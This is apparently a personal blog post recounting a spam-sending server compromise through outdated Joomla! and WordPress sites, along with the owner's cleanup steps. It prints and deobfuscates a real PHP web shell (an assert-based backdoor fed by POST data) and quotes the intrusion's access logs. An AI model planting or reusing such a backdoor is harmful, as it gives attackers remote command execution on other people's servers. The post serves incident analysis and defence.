tl;dr I have received a nice “your server is sending spam” email on a Saturday morning, this is what happened next.
As a foreword, this server is not holding critical information and his mostly used to host static content and maintain former projects.
Basically this is what happens when you leave upgrade undone on your server, which conflicts with the idea, that I don’t want to think every month about upgrading every Joomla! and every WordPress I have ever abandoned somewhere.
The point of this article narrative is to give some insights about what might happen and how to deal with it, that’s perhaps the point to mention that I am not a security professional.
Understanding
The email
After a night of partying, I have had the pleasure to receive a pleasant email this saturday. OVH telling me that my server is a source of spam, among others it mentions a few details about the culprit emails:
Destination IP: 63.250.192.45 - Message-ID: 0ec13ab550923208952a9e7152792cfb@www.kenagard.com - Spam score: 500
KenaGard is my former company, KenaGard’s website is still available, even though the company is not active anymore and it’s using Joomla!
An old Joomla! plus the name of the company in the emails, made me try the “something went wrong with Joomla!” hypothesis first.
Something went wrong with Joomla!
Let’s dive in the website directory and check if some unexpected new file are around (my biggest strength here is to know that everything after a certain modification date is suspicious):
find $1 -type f -exec stat --format '%Y :%y %n' "{}" \; | grep -v cache |sort -nr | cut -d: -f2- | head
2016-08-21 05:50:02.689856795 +0200 ./templates/jtemplate/jtemplate.xml
2016-08-21 05:50:02.689856795 +0200 ./templates/jtemplate/jtemplate.php
2016-08-21 05:50:02.689856795 +0200 ./templates/jtemplate/index.html
2016-08-21 05:50:02.689856795 +0200 ./templates/jtemplate/.htaccess
2016-02-29 06:59:36.000000000 +0100 ./modules/mod_stats/jstats.php
2016-02-25 01:52:13.000000000 +0100 ./images/mbaig/index.php
2016-02-25 01:52:13.000000000 +0100 ./images/mbaig/.htaccess
2016-02-25 01:52:13.000000000 +0100 ./images/mbaig/emkwg.php
2015-01-04 15:14:21.373264602 +0100 ./modules/mod_mainmenu/helper.php
2015-01-04 14:50:23.445264771 +0100 ./modules/mod_mainmenu/tmpl/default.php
The two last lines are legitimate edits I did, so it seems that my server is closer to swiss cheese that to anything else.
Three intrusions took places on 2016-02-25, 2016-02-29 and 2016-08-21 (looking at the files it leaves no doubt, I haven’t touched this code since a few years).
Diving in the last intrusion and injected code
The last one contains a short jtemplate.php:
<?php
$ohx=chr(97)."s".chr(115).chr(101)."\x72"."t";$twu="b".chr(97)."\x73"."\x65"."6".chr(52)."\x5f"."d".chr(101)."c"."\x6f"."d"."\x65";$ye="s"."t"."\x72"."\x5f"."r"."\x6f"."t"."1".chr(51);@$ohx(@$twu(@$ye($_POST[chr(100)."a"."\x74"."\x61"])));die();
Basically this is obfuscated PHP code, it is not very explicit … but you can fix the readability.
Manually or, dramatically, easing your work with a service like
UnPHP, if you put the above code, it doesn’t get
perfect, the chr() calls are not replaced, but it is better.
A bit of clean up and you can get:
<?php
// assert
$ohx=chr(97)."s".chr(115).chr(101)."\x72"."t";
// base64_decode
$twu="b".chr(97)."\x73"."\x65"."6".chr(52)."\x5f"."d".chr(101)."c"."\x6f"."d"."\x65";
// str_rot13
$ye="s"."t"."\x72"."\x5f"."r"."\x6f"."t"."1".chr(51);
// data
$key = chr(100)."a"."\x74"."\x61";
var_dump($ohx, $twu, $ye, $key);
In clear, the given code does this:
<?php
assert(bas64_encode(str_rot13($_POST['data'])));
The usage of base64 and str_rot13 are just here to scramble whatever data arrives. Like the PHP obfuscation, I guess this is suppose to deceive some security systems and human analysis.
Arbitrary shell commands
At first, I was “WTF, assert is only suppose to raise an error if something is
false”. I got it all wrong, someone thought it was wiser to evaluate any
string passed as an argument.
So assert is evaluating anything coming from the outside, PHP code or any shell command…
This code is just a tool waiting for any payload the attacker wants to send.
How deep the intrusion is
At this point, the last remaining system protection is the fact that the files
are only executed with the system user running the php code, in my case
www-data.
For some reason, I have tried very hard to install a software and enter into
some apt-pinning tricks, now updating the system ranges from “challenging” to
“impossible”… Even though this server doesn’t have much custom configuration
this makes a right escalation likely. I have searched but have not been able to
find any trace of such, I was basically investigating looking at suspicious
elements by modification date (though I guess this can be easily faked)
or using ps aux.
So the whole server is not mine, or … I am not really sure it answers to its master.
The three others intrusions are doing similar kind of things…
I have found a fourth one, this time inside WordPress, it was a bit harder though to understand what is is exactly doing, but it seems that it is following a very similar approach.
Digging a bit more, I found others in every existing website folders that was on
that server… Usually named: logo_img.php, images/mbaig/emkwg.php,
dir32.php or .htaccess.
One of the file was not only executing remote code but also sending some informations to 4lmbkpqrklqv.net a domain own by a Ukrainian resident named Nikolay Pohomov… That does not help me much…
Trying to fix this situation
I am not a security expert but at that level my opinion would be: “burn the damn machine”, nothing is sure anymore then. The system is compromised the plague won… Upgrade your Joomla! and WordPress, reformat, reinstall…
I don’t really have time for that, so I tried a few coward countermeasures.
Stopping the spam
ps aux exposes a long list of running sendmail processes. Let’s kill them:
ps aux|grep -v grep|grep sendmail|awk {print $2} | xargs kill -9
And let’s also empty the mail queue (this is only safe since I know there is no legitimate emails inside):
rm /var/spool/mqueue/*
Blocking POST on the sites using some CMS systems
Reasons:
- Those legacy contents are not updated anymore, it won’t break my use case.
- My bet is that most of the exploits those guys are using and their preferred way of sending payload are not using the “GET” method.
In an nginx site configuration, this is simply done like this:
add_header Allow "GET, HEAD";
if ( $request_method !~ ^(GET|HEAD)$ ) {
return 405;
}
Don’t forget to service nginx reload after all that.
This is making the attackers work harder, but it definitely doesn’t prevent anything for sure.
Removing the hackers entry points
You don’t want to keep the hackers tools inside, and the POST method blocking has not blocked all code (some where also using whatever was stored in the cookies).
The biggest problem here is that I am not sure that I have fully removed everything. The whole system could have been corrupted.
More information
Trying to find out more
Grepping who has used jtemplate in the logs I get lines like:
185.93.187.66 - - [26/Aug/2016:08:48:18 +0200] “POST /templates/jtemplate/jtemplate.php HTTP/1.1” 200 6667 “http://kenagard.com/templates/jtemplate/jtemplate.php” “Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36”
185.93.187.66 is a Ukrainian based IP, Nikolay, is that you? I hope someone is using your name otherwise you should pay more attention to discretion.
Moving a bit in history, I have been looking for the first call to
jtemplate.php to find this:
185.93.187.66 - - [21/Aug/2016:05:50:00 +0200] "GET /administrator/ HTTP/1.1" 200 4343 "http://kenagard.com/administrator/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [21/Aug/2016:05:50:00 +0200] "GET /administrator/ HTTP/1.1" 200 4343 "http://kenagard.com/administrator/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [21/Aug/2016:05:50:00 +0200] "GET /administrator/ HTTP/1.1" 200 21137 "http://kenagard.com/administrator/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [21/Aug/2016:05:50:01 +0200] "GET /administrator/?option=com_config HTTP/1.1" 200 50654 "http://kenagard.com/administrator/?option=com_config" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [21/Aug/2016:05:50:01 +0200] "GET /administrator/?option=com_admin&task=sysinfo HTTP/1.1" 200 72460 "http://kenagard.com/administrator/?option=com_admin&task=sysinfo" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [21/Aug/2016:05:50:02 +0200] "GET /administrator/?option=com_installer HTTP/1.1" 200 15682 "http://kenagard.com/administrator/?option=com_installer" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [21/Aug/2016:05:50:02 +0200] "POST /administrator/ HTTP/1.1" 200 15948 "http://kenagard.com/administrator/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
185.93.187.66 - - [21/Aug/2016:05:50:03 +0200] "POST /templates/jtemplate/jtemplate.php HTTP/1.1" 200 20 "http://kenagard.com/templates/jtemplate/jtemplate.php" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36"
No POST seems to have been part of setting up the file from this IP.
A few minute before this IP was involved, it seems, that someone got a shared interest in similar resources:
54.209.90.194 - - [21/Aug/2016:05:47:47 +0200] "GET /administrator HTTP/1.1" 301 184 "https://search.yahoo.com/search=www.kenagard.com?p=www.kenagard.com" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0"
54.209.90.194 - - [21/Aug/2016:05:47:48 +0200] "GET /administrator/ HTTP/1.1" 200 1804 "https://search.yahoo.com/search=www.kenagard.com?p=www.kenagard.com" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0"
54.209.90.194 - - [21/Aug/2016:05:47:50 +0200] "POST /administrator/index.php HTTP/1.1" 200 1892 "https://search.yahoo.com/search=www.kenagard.com?p=www.kenagard.com" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0"
This time, an IP belonging to Amazon, I guess some AWS servers.
I did not really figured out how this happened. There is no other request that
could explain how this jtemplate thing first appeared. I have decided to
blocked both /administrator (Joomla!) and /wp-admin (WordPress).
location ^~ /wp-admin/ {
return 404;
}
location ^~ /administrator/ {
return 404;
}
Like before don’t forget to service nginx reload after all that.
Conclusion: Docker maybe
The only thing that comes to m(y mind about how to not maintain very old infrastructure (upgrading and related maintenance) and avoiding too dangerous attacks is would be to keep things separated and perhaps Docker it a good way to do so through containerization.
Maybe some proactivity would also have enabled me to get aware of the problem before OVH had to send me an email.
EDIT: a quick synthesis about the comments this article has received.
- Again, don’t do this at home, your server is compromised, the cure to this disease is to reinstall your server. To that point, many people suggest to automate your server provisioning before hand.
- Some malware detection tools have been mentioned: Linux Malware Detects and a script from Peeter Marvet from zone.ee, mostly listing recently updated files. The first one is currently scanning my whole server for the things I have missed.
- Enable a firewall to only allow ports that the server is supposed to use.
More comments on Hacker News and Reddit.
